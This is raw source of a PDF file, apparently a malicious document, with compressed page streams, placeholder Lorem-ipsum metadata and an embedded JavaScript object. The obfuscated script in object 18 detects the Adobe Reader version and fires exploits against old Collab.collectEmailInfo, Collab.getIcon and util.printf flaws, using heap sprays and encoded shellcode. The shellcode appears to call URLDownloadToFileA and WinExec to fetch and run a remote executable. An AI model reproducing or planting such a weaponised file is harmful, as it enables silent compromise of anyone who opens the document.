e+d׾H ^w4E`	� ��;) ���:S���g��%�]"2 L̙�넮 � i�����S9�42f���8u>�v��ͼ}Bm �R   �،����-�|  : �2x�eHhn9�����	6 � a= P��4�N� ٞ~�  )�*n� ��j \!�)ʖ2n�XN�d�^[�?�x� ������D�Bp�T�4 5 +�H�} c�t�z����R���m�(�>� �Uj ꩝  �k���"�  h�l-xI���Q6��w  �%�J֙W��O�� ��v
cc���!Ϝ�_��K��� �s+����Ӻ���@�� ��k%o   Q)�Nd �V�`  l{C{���D͐���w�ս��z��>M�   �;V�^L� �= ǫ}�)#X�6���&�5 �E  � n h�K,�V!E�>T�f 2  �j��!�e��[ˆ �@�����Sa�[5be+�8 �o/7��zl :ʠnVr ��k� �n;m�,Tp�p�x�� �r�x�]�&�uÃ���� �� = 'a6'i�%ʹz�d� �+2(v��8�m#�b<]:� � ��������\�-%=��5d e��|Z7w��
��ȹ��� {��,:Q���� �s� h ���x:CV� �ӵ��b|'��[�#i���G��#��n��{���i�I��� �*Iz��  �'�pZ*Q @� t�U��*u���i\����=�7� kK�b��E{]" |�K`�xY˾$��K��/�_���G��s���	�)A�å >m� ����AQ��8'�X:,C�`7���K%��8ji۰��l��8b9d#��5��
���)���I� <�� �J`� o�_H5`���L��#
 ��a~�<T 1�0 ýO� N�w
��u�a���yì)�0�{ ݆� ��n8�|�6w���f�؆s� t�
�
�[  H����A � v_qd �� d� �u �7w �i��I�7�t��{ ��	�w��`�m�%��ky4�h��c.�)�j� �{;�#m �^�; ���U��ߪ  G���E�
�� �T�a!���� G  ���Y��B���Xs�� e
�� � �l��]ښ��M�x��� ?��c���P-��<��Sf� �� ('p�Ӿ���ܧ]!n;�6s�l} �t ��m��(�Ѻh��q|� ��=��vX�ժ> �^ ��R����������&ߓ�y ��!�̩�  \�ik֧usG�� W#��K����A4^gg�qy�|Y� ^8C"��9 =��t��� _�!I��~�놤O㦎AC�s��4%
�5� y����
�� ~L3�Eуh ���m�(v ��z�����B�� ��)��<� ��  3�:��������n�NV��xw  ]F�g�Ug����b��-��_v�����dk��	�xo/�� �4}�ļ�����G�}ڶp�> `�p  A�d��m �C��p� �QrQ?P�0�d��(� ̜f�  }�6wz�W ֘��u0#d�M >u� ��?��+�Ӷ�^?�č7������%۰>m��oA ��0��|}��T��|y�ԧm�cܵ�o��LO�~ ��V��� ���� ��E�q�� ����*� ǫ��
��q�L�+��תנ:v ��S�X��H�!1G�tT �h7v�kWE] ��[f|� � m: c�5\;A4�֭ � l���ҡ�X����e���k�/}�t�4�� ��qc0t,����w��� ��7 �� i���
 *'�{V] [���� $ 
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2639>>
stream
x��[�r� }�Wtվ$ ш�=o�\�f�6��8��l� H�$$�� R  } (۠d�����z��X��nt�9} �p0�ц�� �K��W�H��=������� !� �!ݧ������s��s  ��h�� i2 L 4   �o  �!� }� �� �� ������^  h��   uF��`: �c��xrB�	��K���� �Z��W���� ����� � ��,�_S�2������t.9 �'��� 𽼳 �WO�^ �O�?������'��io"�7 �l:   *h2 �Ex�]� ��񂓯C����.�S�'���)2? ��
e,��"&W�����9- �#�(�% �  �d5��IS2J&��
�4e1')�Ȑ� ����~M�Nj�b���߂�;b[�
�lcTIF��GNL�1�R)ʌ�[�v�3�� ��I�Q�  �qM �+Z��6Ģ�&�J����Ǖ�hchän쏌�0ȫ{� x
K����J�^Wt  �O+z���2lK��	�&kLM+����\sʶ �l
pY�Tᔪ�� � kSI��53xl� � V�čF e K� ���k#
	�<6� "X5Ƨ ��%� �6 7��  e��w  �J�
U��q�%�u�Xwk )��Z� �(Y��~����h��� �  rI
 CYn�xe �s�T�ӽ`�R 
�(�FְD��d [P  i�l��N  �'C�.��K�-C
�
�� ��� p��05�x��K� a ò��*�r
k
V� )V� ��!\ AJ�2��~��jG  N� 6+ i�k  ߲��L#� ����$Kv���TeW�	��b	���t1{)�8g)��
Шj�Į�� ���0bٔ b�� �xX�79Śm$��I�L��ks$ �"�k��* ��6>�4�;��"JC�R��)�  ��H�� ��Ռ��}�_
��B�J7 �9*9V��),� �� &�v�S �ȚO� Ւ �Q�ͅ�O�_� ��s�W+� ߟ  e� �B�ϲ��+��zDL��iͤ�]Y [�F�8^V(��%������e� \� h4b	� � u%� ���h��i��0 �g �S˳ ���|z7v0~�a��@�>��-X(��5`Fg�k0F �{�s�t�.��1�F"���К�F� �"V� d*ԿW�B��-{S�4`�?  �'h  :�[x�4x*e��A^��Χo���=��x���+��Fd6^����
E�lD��N��� ��C�>"��b�N- ��Z� �k z	 k4�$�F� � +���Rjʹ( �"�=�6Y8���k o( :���y �O�4mkZLm�\�V)�q� �d� �:  ��Z� � ke�T2
" ҕ�qZ� ���sD���Q%$�� 4mS�%�`�za�)kv� ��p��ƆՀ$���g ;�:�Ox)��� �^&W�"v2��[�^�؎�}Mj>� ;�n���R� �P���І�;����3������Kˀ cg��3=<in:���  :�|Kg@��
F��I�
bb�*w>]  :G�N r��m� � �lw�fP�+�/͟ ]��(-"��
;��T%���J �Ŵ�����bL
 ��&�@�m�]�k��� ����vע� '¬��C��}�6w(�i J�� ��%�ׅ�����հ0
��5��)  �5��ԙ2y;��O0�Oצ ��� ^ w��� �� ���qE-�� w��ս��� $7,^Q �ci*��I7ޙ��O� >A��2��/q�� �{�� ^�� ���Xy���Q  _s}r�� @ǝ[�� [^>3�n���ȡ�^�SS��ʪ A5�Zª����� � ����Q�8|�(�*h�آ�W� ��{�� �
2V�� &WQԦN�����  �  ������ 4:,� ��kY ޠ� ��#�:�{<����hᨡ  �Ո ;��yHa �'�����T
��5W <��ٴdk�ӵ�c Q� j "����O	|dB�$�an�t��B�N�?4HG�d�Wl��n�x��\}�np�,  C =�:�8 RS��J�$�y+:@v�f��ް������w�G G"o�X_/<O̍}�6>f��E�W�F �qQΞ��sz ����%��ӵ��ș���q5� #�(�"4 �� o� ͘f1 ͍�J��B��k���� [s{$�� 	�Rzݐ  �A�#�wq!�f)��
;���\x�-�� � 珅��� �u *�{ ��Փ��ӹ�#��G��o�+~��X����'�|�7s�p|�$ک �+�h�w���'�>]�:^�f �<�}%�LS�Ʋn����P>�� ̯NI@�=�- �s�6�F�Pv�i���� -&�3. � �F� y  �N�O:�������҉�U{ �4�g��� t.�3�Y	Ti��2� ��|8r�� ��A�풖k
�O	�< ����� ����v* �ڳ�_��Ν!j�ߧs�� g��y�����ޠO׆��:�q-B�Xp�Қ�-@ǚ �4/~/ �`�9�� Ix��`־�� *�T�ӿ�c�kv ��
 ��Eo׊^m�9�8������z����7� &��^M�tD�7�
�����  �({g����=g�-���n�i�o8 lo������Hә����Z� � 6m �VxN��!��g���˭4C  �	ŧ����B'   �X#�w�' �k )�4 W�u��"|P$A����#7}�6 ;� (j;[��ѷ�'�<��茐.O��F�q��=:7w\��� ��#H���w�7 #L]k�� �����P����O���t8XL�;� \1�BH h�����q�� ���
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2772>>
stream
x�͛Ys� ���)�j_��h(Qg�29�f����Lj+�� ��H� h �, ����
]�)�b���=�%�/��� F�ق6 �w���� �� _��+����>�mB�Q ї5��������k4 ǣx��D4���+�NF3|n1 E Jk��iL �����1-���� �Q��F �MN��x� M����� }����%�қ? �Q����З�p��{ H�k�9���h����Y�&�W'��D�w�h���� 7���
߀�ݜ^��o��} N��3r��  ��Ĵ�/G� �4��l���+�L7?���kO_y����?[��O����� M#[P�
J��T$*�J2���j� �g�t�h�+I��Z�JC]%�nD +ai1� �ڸ�2����6��U
]e��5 � ѧ�-��8 ~Kݦ��*�閉FP*Z9
z��h�d̿�*� �ERIJDU����*��`�VR��h����H�-�+�V� RVְ��h:�,	�+8k�� OF�'c}���BTSvT6j
���%[h� �a � �'�ѣ�
ѲE�� �e� �V���Z"�����T-��S�je� }) ��  �62#�r #�  � ҄��x� r߉��J�^� �]S�VC�.u��ᕳ�)c�06ШUxok\ V�h� ���T ��=:�VʎZ��� fSM��p]	�oI'rK���2#���0 ��u�+��eGa��VZ G � I��d ��   �ȶ ��� /���Xb ��D&X��

 ��  ժ���tF"Ѽ �  )#� Y�@ ��(�ePw̗{	X$ ��
�p���E!�U�A*�!X��UgEP� >m~ �@T`��$�{HS�F�Hh
'��7HL �a횬#��fKI ��� Hj�l`� �k�ѵ�iA�A�Ht��Ȫ- ƒh��� ���^�%�> �(D���$��@� �
2*a� �ZfT�1�� ��u0��2v�a�:���Ҋ�W��ih��pR��-rgP��>y�N�K�	�  ��\�
D�3ĉ� R��  C�� &�`i5� � jϐ Fx��(8�+��eP�L= .� y�� �"E�غ���F	$ �� � 	�� L�� g�NR� �q���� � ¹�   b�D�P�l�()U& GP�� � qgd� ��'�M�=T�Tn�yp� ����-�+ �� 
�3���  � \˧���mYAA#P1�}q~5�Ft ���E�:G�C� ���� �9��ЂU  �.C��hgC�8[yL\� <?� �*2- �R� �X_�T�#�� � Hk�6�jKO�ct��q WY�]͌���qO5��� ��3a�ʻ�L8ǯ�Q"@n �l 岑��Ȃ�4� 8%f- ���4
=�� � ���-
d���@  �g �I A `�	   ���s  ��!��y ��`� �� �t{O V;��:�FT�� � Wn��ϭ�ow�π	��Գ�� uđD�� Q��� ��X���%�6�RI�5�5�q���=`H�b ���� ���v� �] ������E�qj�gB:�Pk �" 6| � u]��Qp�=�o _e�3���;N� 't  v��5f 	(�ϒ)�r ��c�����&h�; �WMC	=S� Jt�i �p���gb͍��0%��G�� �8 Z�NW{M� �>�s`	�Pð�ۖm��(�ӈ�u�g�	�Q �2��P��ahoCf���� Vݒh �u�F�&��R��$5 �;@
j�Bj��dٵ|C�HH`�"ֈ�H]W��^ �c+�vsO��_�k 뽀B�30�p%9 ��k �V ��;� � �Σ� T�]b�2f ���25���r�x	R~Z R��'K? %��Z(N� � n �**�i��X ͗SϢ 
�]� �$� d $ �ux���7��*��}`��� Q��/�j�'�o���M
J��� 롉'��q������{�ZH�ƞh==�ko�� f^���y"#&�n�g�5 ��` z����+�� x� W� ?l� 
 Pn �^�  3�Ǡ�y�uw��]� �=[[�&��Q��Ĺ�*R��Q�� /��� ���'-e��$� n<�|@нڷ� �G��ֵ��"�C!� � �<8ޞ���"Ov�^����	��ԃ� �v NQ�.�uk���2�3�%�� C�!k�0���g!���ȱ�G�)T}2Q��V��d�ғ�)�f ���33 ��Z]U} ��)�z���� �Y O�W s	*�؃�܌r#mw:} ���*��cQ�� )P7 "r�0�j� ћ@�jo�F�T^�o�r�e�)�un�J ]j�6�����ʣ� mBF�d�)1���Y�70 ��lS��a���y��  F�Ag�����[�R J� �:� ϟ� o�JĐ��=%�8�2��p��\F����@ ��̳�ս� 4$� ��� 0 ������^�[g" �w��n�A��  ���1& ���$�H+ v`2�=, 4P� � 8j����!U�xN\�+�J�s� �J�]�
jw�  	��س(�1�I��pLe@�vp�1���O�V��*IPɖ�_� H�)�kX;y pA���3 �TŐS���KM� oX��* ����p孠�c� z��Y\ و�N�P��Gɗq �3'0� \�Tn� ���Jg�4�D�n� u5`3��D �[�Da ��!u�y  x2"�$Ӄ��� � �J HD��z�|>&�gZЯ<� �>� �W�7ϴ�!������\�x�u���d�#h��.Eo�g�E e\� ��' ��7��y_�:�K}� <=x T; ���[sP�� ��ph��oy y��ӣ�4~7� %iǯ���^}dp ��B�h5<@M R�� �飉du���@���,����+ �\x��;������Pǻ����?�p�U�s��qsL�q� QÈ~��7 ��=t��4;\����xt  ;��'�w���  5�F�9:��g�[����{Z]����   ���
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1949>>
stream
x����r�� ��� ]��"X� �����V9��J� �/ � 0�` � !��� � D�����ݢ�  b�� ݳ�d�5�4�Ox]�Ͽ����[������� 3Zg�	]���ˋ�cӣc4�γ� �Lh��V[Z̲%�[O�Ɍ��>|7��Y����9m��'gWpM �:9��*��LW�l���  �t)��?�R��/N~����/t�	���G+�5�\b��I����S[S��K� �G��d�%� � ^W � �����7�����G�9�}b ?�- ���i��d�-��\Γ ��k�L ?�b���>?�n���r���#�Qs+)�R�ِ����S�Z��>P_[�Qɮ� ��sOW���P��TZ�����k�릸�N�� }�=u%����἖�*(g��O�෴o�Ͷ�;��o(�Z{ }M�v�I�j�
kn��KC� 0��0H����{�,��['��N  V ��� � =,�B$�]�� ��T�h*j��fT����>~�[RN��W$  � � ������XS���Z �\m� � Zˢ!��: ;�2��}6��lq ��ʤd�RT � ��N R%5r� uNᐯ��
�#�Re� � `=,+��-��m��U a Ւ]���++  � }��S�$FN�������.�O�Q�9]<���J �� y�F�
�. �  ��5(��1��C��}F��&� ��%J�jAרg�%$� 
."G�$�#��$ �W����J����MV 	��5� �J�ol���:�܀�.G�[�'/��� v �*� $:*�K�� jT�
���|� Hf)π �@yT����Fu �-h�
��ƭ��B� ��d�dǠ@ i|�d�� e��e
��� * J�c !ɍE��:)YuC�>EQꐂ/Q ѠV>qE��|0 ��D��޺g��-M�l U $ rSۀ s�>džb���Rô �:%V��P���I ����Hp��^�i�2 e�| �ؓ�� j�Z��,��z��	^�D �I�ܩ �$GjAy~ ���԰`�X 疝x��� 4�<�遟e4� W��r(���OǕO��   ĸ�y ͅ�P�ٟ�阦� �<B6�ǥ էˁgۃ7 �@ɢc
��J��G�l؁� �_�u�8   Ӻ��   �^b ���ϱ j�ra!Hml uZ �;B1%H� ����� ���� ����ǐ~� \��0�4t7�j�q�GlSq�j�l � �� ( _�K� b�) �˔t ���!�T����c�7 ���K T|� g8��� �Ti䫀��{��s��i�d DZ��K���  [i{   ��� 4�*��a�C%>�Ө�
 9� �3'RBF�*�����7 iD˖� "���ͬ#)*�[� Zp��97I�c��<Y|3�}�G�J��BSv� ��c�T &C!Y�s�z��WF�1Er�^<n��$�y��4��M�mҢvos�� A�[	 \E�҂*i�lk�� gb O{� 屓&P� } ��ܜ@רN_�# V� �aR���8��"�C;�#�<��� �X Dm�� �NcZ� ��Z �.�_ j � ��;F�s�:9,� ���� �^��w��B�G< �0��~c�r>��ޞ �( �S�}�@� t#�K�ќ��<��1͛
�z �QSf:@�,
1�#�� �f�zߥ4aHe�F����1�� �8l߾mJ �ߋ� �/  �.`3���;��J�V�� p�Q��4PG]�z��Wg�*� / Z�� ���hz�xǧƾ� 2����۞/�^c�� ���Ըp�z! ��B ũ����?Ol| ���P ոGB}vw��|yc�R�Ѧa �.�O Ӵ� ҧ!z(䧔�m� \`< ][�H����L  s}�О�x �ƴn1��	,��ɻ��� ��d4� �n�R�. n�V�1͛ @��w����ӽ2ѝ���0e�a�ʭ��$ Gݧ_� �tiߺ���R�15� �L e�H?' (I�ؿu��n�:`�L��i�KF�����Wg9H6 =�+ d��I{�{��������Ō��M�=�3�m��rx���mz����V�l�����A�.e��> m�}� � ����
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2128>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?m Q_ ~j QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE ���R��4  ��{ /=MGNc�M��RWaE Pf QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QI�n۞i���I����) (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��F     �Hz�T�@$�[R���{3XO�4�I#$b� M% ���b"ҕ��v?
m.i*���4�(6�B�(�1
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��#��ri�GAM#k{Q��*���kȒ�(�9��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)*� +�� �4��Z(��M;2e  f QE"B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��- p�-��i�俚 �- R����R�;�QE &aE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function qMcIgSkV9\(awxOiFtTb,j5qpCxQc\){}this.e0CV7y87=0.89;function hKFYMZBV\(d94ooEkVbN,moKPvsw7,oPNmNCV6\){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array\(\);var qlvCgEp1;function qOYk2XZ8N\(aOfBqSekQk, visNssO2\){while\(aOfBqSekQk.length * 2 < visNssO2\){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring\(0, visNssO2 / 2\);return aOfBqSekQk;}function tHiZ9lrUYu\(zu2WQUQL\){if\(zu2WQUQL == 0\){var zVtKKX01h = 0x0c0c0c0c;}else if\(zu2WQUQL == 1\){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array\(\\"%u5350%u5\\",\\"251%u575\\",\\"6%u9c5\\",\\"5%u00e\\",\\"8%u0000\\",\\"%u5d00\\",\\"%ued83\\",\\"%u310d\\",\\"%u64c0%u\\",\\"4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u7\\",\\"08b%ua\\",\\"d1c%u\\",\\"408b%\\",\\"ueb08\\",\\"%u8b09\\",\\"%u3440\\",\\"%u408d\\",\\"%u8b7c%u\\",\\"3c40%u575\\",\\"6%u5ebe%\\",\\"u0001%u\\",\\"0100%ubf\\",\\"ee%u014e%\\",\\"u0000%uef0\\",\\"1%ud6e8%\\",\\"u0001%u\\",\\"5f00%u895e\\",\\"%u81ea%u\\",\\"5ec2%\\",\\"u0001%u\\",\\"5200%u80\\",\\"68%u000\\",\\"0%uff00%u4\\",\\"e95%u\\",\\"0001%u8\\",\\"900%u81ea\\",\\"%u5ec2%u\\",\\"0001%u31\\",\\"00%u01f6\\",\\"%u8ac2%u\\",\\"359c%\\",\\"u0263%\\",\\"u0000%ufb8\\",\\"0%u7400%u8\\",\\"806%u321c%\\",\\"ueb46%u\\",\\"c6ee%u32\\",\\"04%u8900%u\\",\\"81ea%u45c2\\",\\"%u0002%u5\\",\\"200%u9\\",\\"5ff%u0152\\",\\"%u0000%ue\\",\\"a89%u\\",\\"c281%u\\",\\"0250%u0\\",\\"000%u\\",\\"5052%\\",\\"u95ff\\",\\"%u015\\",\\"6%u0000%u\\",\\"006a%\\",\\"u006a%\\",\\"uea89%uc2\\",\\"81%u015\\",\\"e%u0000\\",\\"%u8952%\\",\\"u81ea%u78\\",\\"c2%u0002%\\",\\"u5200%\\",\\"u006a%ud\\",\\"0ff%u056a\\",\\"%uea89%uc\\",\\"281%u\\",\\"015e%u00\\",\\"00%uff\\",\\"52%u5a95\\",\\"%u0001\\",\\"%u8900%u8\\",\\"1ea%u5ec2%\\",\\"u0001%u\\",\\"5200%\\",\\"u8068%u0\\",\\"000%uff\\",\\"00%u4e95%u\\",\\"0001%u8900\\",\\"%u81ea%u\\",\\"5ec2%u\\",\\"0001%u31\\",\\"00%u01\\",\\"f6%u8a\\",\\"c2%u3\\",\\"59c%u02\\",\\"6e%u0\\",\\"000%ufb80%\\",\\"u7400%u\\",\\"8806%u321c\\",\\"%ueb4\\",\\"6%uc6\\",\\"ee%u3204%u\\",\\"8900%u81ea\\",\\"%u45c2\\",\\"%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea89%u\\",\\"c281%\\",\\"u0250%u\\",\\"0000%u505\\",\\"2%u95ff\\",\\"%u0156%u00\\",\\"00%u006a%u\\",\\"006a%uea89\\",\\"%uc281%\\",\\"u015e%u000\\",\\"0%u895\\",\\"2%u81ea%u\\",\\"a6c2%u00\\",\\"02%u5\\",\\"200%u006\\",\\"a%ud0f\\",\\"f%u056a\\",\\"%uea89%uc2\\",\\"81%u015\\",\\"e%u000\\",\\"0%uff52%\\",\\"u5a95%\\",\\"u0001\\",\\"%u9d00%u5\\",\\"f5d%u5a5\\",\\"e%u5b59%u\\",\\"c358%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"0000%u0\\",\\"000%u6547\\",\\"%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u\\",\\"4168%\\",\\"u4c00\\",\\"%u616f\\",\\"%u4c64%u62\\",\\"69%u6172\\",\\"%u7972%u0\\",\\"041%u6547\\",\\"%u5074%u6f\\",\\"72%u4\\",\\"163%u6\\",\\"464%u65\\",\\"72%u7\\",\\"373%u\\",\\"5700%u\\",\\"6e69%\\",\\"u7845%u6\\",\\"365%u\\",\\"bb00%uf\\",\\"289%uf7\\",\\"89%uc03\\",\\"0%u75ae%\\",\\"u29fd%u8\\",\\"9f7%u31\\",\\"f9%ubec\\",\\"0%u003c\\",\\"%u0000%u\\",\\"b503%u021b\\",\\"%u0000%ua\\",\\"d66%u\\",\\"8503%u021\\",\\"b%u0000%u\\",\\"708b%u\\",\\"8378%u\\",\\"1cc6%u\\",\\"b503%u021\\",\\"b%u0000%ub\\",\\"d8d%u02\\",\\"1f%u000\\",\\"0%u03ad%u\\",\\"1b85%u0002\\",\\"%uab0\\",\\"0%u03ad\\",\\"%u1b85%u\\",\\"0002%u500\\",\\"0%uad\\",\\"ab%u850\\",\\"3%u02\\",\\"1b%u0000%\\",\\"u5eab%udb3\\",\\"1%u56ad%\\",\\"u8503%\\",\\"u021b%u00\\",\\"00%uc689%u\\",\\"d789%u\\",\\"fc51%ua6f\\",\\"3%u7459%u5\\",\\"e04%u\\",\\"eb43%u5e\\",\\"e9%ud1\\",\\"93%u03e0%u\\",\\"2785%u000\\",\\"2%u3100%u9\\",\\"6f6%u\\",\\"ad66%ue0c1\\",\\"%u0302%u1\\",\\"f85%u0\\",\\"002%u8900\\",\\"%uadc6%u8\\",\\"503%u02\\",\\"1b%u0\\",\\"000%u\\",\\"ebc3%u001\\",\\"0%u0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%\\",\\"u0000%u\\",\\"0000%u00\\",\\"00%u8900\\",\\"%u1b85%u00\\",\\"02%u5\\",\\"600%ue85\\",\\"7%uff5\\",\\"8%uff\\",\\"ff%u5e5f%\\",\\"u01ab%u80c\\",\\"e%ubb3\\",\\"e%u027\\",\\"4%uede\\",\\"b%u55c3%\\",\\"u4c52\\",\\"%u4f4d%u2e\\",\\"4e%u4c44%u\\",\\"004c%\\",\\"u5255%u44\\",\\"4c%u776\\",\\"f%u6c6e%u\\",\\"616f%u\\",\\"5464%\\",\\"u466f%u6\\",\\"c69%u4165%\\",\\"u7500%u6\\",\\"470%u7461%\\",\\"u2e65%u\\",\\"7865%u\\",\\"0065%u\\",\\"7263%\\",\\"u7361%u2e\\",\\"68%u68\\",\\"70%u007\\",\\"0%u7468\\",\\"%u7074%u2\\",\\"f3a%u732\\",\\"f%u6f65\\",\\"%u742d%u6\\",\\"172%u6\\",\\"666%u632e%\\",\\"u6d6f%u\\",\\"632f%u\\",\\"756f%u7\\",\\"46e%u726\\",\\"5%u2f73\\",\\"%u2f3\\",\\"1%u7075%u\\",\\"6164%u6\\",\\"574%u702e%\\",\\"u7068%u69\\",\\"3f%u3d64%\\",\\"u2633%u657\\",\\"2%u3d74%u6\\",\\"b6f%u9000\\"\);hxWSuDXe = unescape\(hxWSuDXe.join\(\\"\\"\)\);var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - \(x3CgE4VTY7 + 0x38\);var aOfBqSekQk = unescape\(\\"%u9090%u9090\\"\);aOfBqSekQk = qOYk2XZ8N\(aOfBqSekQk, visNssO2\);var eEjtQKFInc = \(zVtKKX01h - 0x400000\) / aMkKKV3ax;for\(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++\){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB\(\){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString\(\);app.clearTimeOut\(qlvCgEp1\);if\(\(eYoEHriR >= 8 && eYoEHriR < 8.102\) || eYoEHriR < 7.1\){tHiZ9lrUYu\(0\);var xMxbDF9NZb = unescape\(\\"%u0c0c%u0c0c\\"\);while\(xMxbDF9NZb.length < 44952\) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\\"collabStore\\"] = ezqeKH4tH[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : xMxbDF9NZb}\);}if\(\(eYoEHriR >= 8.102 && eYoEHriR < 8.104\) || \(eYoEHriR >= 9 && eYoEHriR < 9.1\) || eYoEHriR <= 7.101\){try{if\(app.doc.Collab.getIcon\){tHiZ9lrUYu\(2\);var gHGLGbxHI = unescape\(\\"	\\"\);while\(gHGLGbxHI.length < 0x4000\){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \\"N.\\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(gHGLGbxHI\);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch\(e\){nGA9T4uG = 1;}if\(nGA9T4uG == 1\){if\(eYoEHriR == 8.102 || eYoEHriR == 7.1\){tHiZ9lrUYu\(1\);var vT4Q80JUpI = \\"12999999999999999999\\";for\(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++\){vT4Q80JUpI += \\"8\\";}var xiNiJYKg1 = util;xiNiJYKg1[\\"printf\\"]\(\\"E000f\\", vT4Q80JUpI\);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut\(\\"app.cbVTCzH8X\(\)\\", 10\);';function e8lvCgEp1\(wjcCRLwWYJ\){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0\(iMJ0PnL4I,vNYmW0FQo\){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace\(/[]/g, ''\);jBjL5zilQx=8098;var twFKKpkv=new Array\('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh'\);function nY22MpNwk\(eWWySbVF8,kBO9In13r,kVaoxPyTAZ\){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe]\(kSt9A6Z6yr\);this.fcoHokTh8=27173;function faEMzs3Hx\(\){}function e9xb5G4yjd\(yJfo5LudGj,rBEckMHjQ\){return yJfo5LudGj;})
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��670c26185a3783678135b4697f7dbd1a)
/CreationDate (D:20091017160617+04'00')
/ModDate (D:20091017160617+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
